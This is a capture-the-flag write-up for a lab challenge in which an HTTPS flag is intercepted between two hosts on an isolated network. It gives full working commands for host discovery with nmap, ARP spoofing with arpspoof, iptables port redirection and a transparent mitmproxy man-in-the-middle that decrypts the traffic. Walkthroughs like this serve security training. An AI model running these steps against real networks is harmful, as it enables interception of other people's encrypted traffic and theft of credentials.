You managed to get access to a device (indicated in red) on the network shown below. One of the hosts on that network is sending the flag over HTTPS to another host every ~5 seconds. Can you intercept it? ?
This environment is somewhat limited. Look through the tools available to you on the machine. The network you connect to is not shared with other participants.
Connect with ssh [REDACTED] -p 7000
Note: When you connect to the remote host, you are given a Docker container. If you connect again, you will connect to a different container.
To capture the flag being sent between the hosts, we need to perform ARP spoofing, packet sniffing, and a MITM attack (proxying). Before we proceed, however, let’s go over the initial “reconnaissance” once we are inside the machine.
Obtain the IP and MAC addresses of the machine we are on. 192.168.0.201 and 02:42:0a:00:01:44
root@interceptor:/# ip addr
31631: eth0@if31632: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:0a:00:01:44 brd ff:ff:ff:ff:ff:ff link-netnsid 0
inet 192.168.0.201/24 scope global eth0
valid_lft forever preferred_lft forever
Once we know this, we can scan the network with nmap to find out the other hosts.
The -sn flag tells nmap to perform quick host discovery using ICMP echo requests, without port scanning.
root@interceptor:/# nmap -sn 192.168.0.0/24
Starting Nmap 7.80 ( https://nmap.org ) at 2024-11-05 14:26 UTC
Nmap scan report for 192.168.0.24
Host is up (0.000025s latency).
MAC Address: 02:42:0A:00:01:42 (Unknown)
Nmap scan report for 192.168.0.153
Host is up (0.000034s latency).
MAC Address: 02:42:0A:00:01:43 (Unknown)
Nmap scan report for 192.168.0.201
Host is up.
Nmap done: 256 IP addresses (3 hosts up) scanned in 1.92 seconds
Now we know the IP and MAC addresses of the two other hosts on the network that communicate with each other: 192.168.0.24 and 192.168.0.153.
The next step is to determine which host is the client sending the data (the flag) and which is acting as the server. This requires us to find the port with nmap or do packet sniffing with tcpdump after the ARP spoofing.
This writeup uses the packet sniffing method.
We’ll perform ARP spoofing to intercept network traffic between the client and server.
ARP is a communication protocol that links IP and MAC addresses.
ARP spoofing is an attack that occurs on local networks where devices communicate using frames, which include the source and destination MAC addresses - that is OSI Layer 2.
The attack poisons the ARP caches by sending ARP messages to the hosts on the network, pretending to be someone else. Thus, all packets will be sent to the spoofed addresses.
To execute this attack, we need arpspoof to spoof the IP addresses of the two other hosts.
arpspoof -i eth0 -t 192.168.0.24 192.168.0.153 > /dev/null 2>&1 &
arpspoof -i eth0 -t 192.168.0.153 192.168.0.24 > /dev/null 2>&1 &
IP forwarding is required so the kernel can send the packets to the original destination. It’s already enabled though either of these commands can be used to enable it.
echo 1 | tee /proc/sys/net/ipv4/ip_forward
or
sysctl net.ipv4.ip_forward=1
Now it’s time to run tcpdump and find out which host is sending the data.
root@interceptor:/# tcpdump -i eth0
...
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
15:17:04.519237 ARP, Reply 192.168.0.24 is-at 02:42:0a:00:01:44 (oui Unknown), length 28
15:17:05.039522 IP 192.168.0.24.59186 > 192.168.0.153.4443: Flags [S], seq 3433448447, win 64240, options [mss 1460,sackOK,TS val 471734931 ecr 0,nop,wscale 7], length 0
15:17:05.039584 IP 192.168.0.24.59186 > 192.168.0.153.4443: Flags [S], seq 3433448447, win 64240, options [mss 1460,sackOK,TS val 471734931 ecr 0,nop,wscale 7], length 0
15:17:05.039632 IP 192.168.0.153.4443 > 192.168.0.24.59186: Flags [S.], seq 2542239713, ack 3433448448, win 65160, options [mss 1460,sackOK,TS val 2297543373 ecr 471734931,nop,wscale 7], length 0
15:17:05.039651 IP 192.168.0.201 > 192.168.0.153: ICMP redirect 192.168.0.24 to host 192.168.0.24, length 68
15:17:05.039655 IP 192.168.0.153.4443 > 192.168.0.24.59186: Flags [S.], seq 2542239713, ack 3433448448, win 65160, options [mss 1460,sackOK,TS val 2297543373 ecr 471734931,nop,wscale 7], length 0
15:17:05.039695 IP 192.168.0.24.59186 > 192.168.0.153.4443: Flags [.], ack 1, win 502, options [nop,nop,TS val 471734932 ecr 2297543373], length 0
15:17:05.039701 IP 192.168.0.24.59186 > 192.168.0.153.4443: Flags [.], ack 1, win 502, options [nop,nop,TS val 471734932 ecr 2297543373], length 0
15:17:05.058794 IP 192.168.0.24.59186 > 192.168.0.153.4443: Flags [P.], seq 1:518, ack 1, win 502, options [nop,nop,TS val 471734951 ecr 2297543373], length 517
15:17:05.058833 IP 192.168.0.24.59186 > 192.168.0.153.4443: Flags [P.], seq 1:518, ack 1, win 502, options [nop,nop,TS val 471734951 ecr 2297543373], length 517
...
At timestamp 15:17:05.039522, 192.168.0.24 (client) initiates the 3-way handshake with 192.168.0.153 (server) on port 4443.
In the next step we will need a proxy - mitmproxy. This proxy will intercept the traffic and decrypt it, essentially doing Man-in-the-middle attack.
The default port for mitmproxy is 8080. We will redirect the packets coming to port 4443 to port 8080 (mitmproxy).
iptables -t nat -A PREROUTING -p tcp --dport 4443 -j REDIRECT --to-port 8080
Now run the mitmproxy
Note: Without --ssl-insecure option mitmproxy, will produce an error “Cannot validate certificate hostname without SNI”
mitmproxy --mode transparent --listen-port 8080 --ssl-insecure
We can browse through the requests.
Inspect the decrypted content.
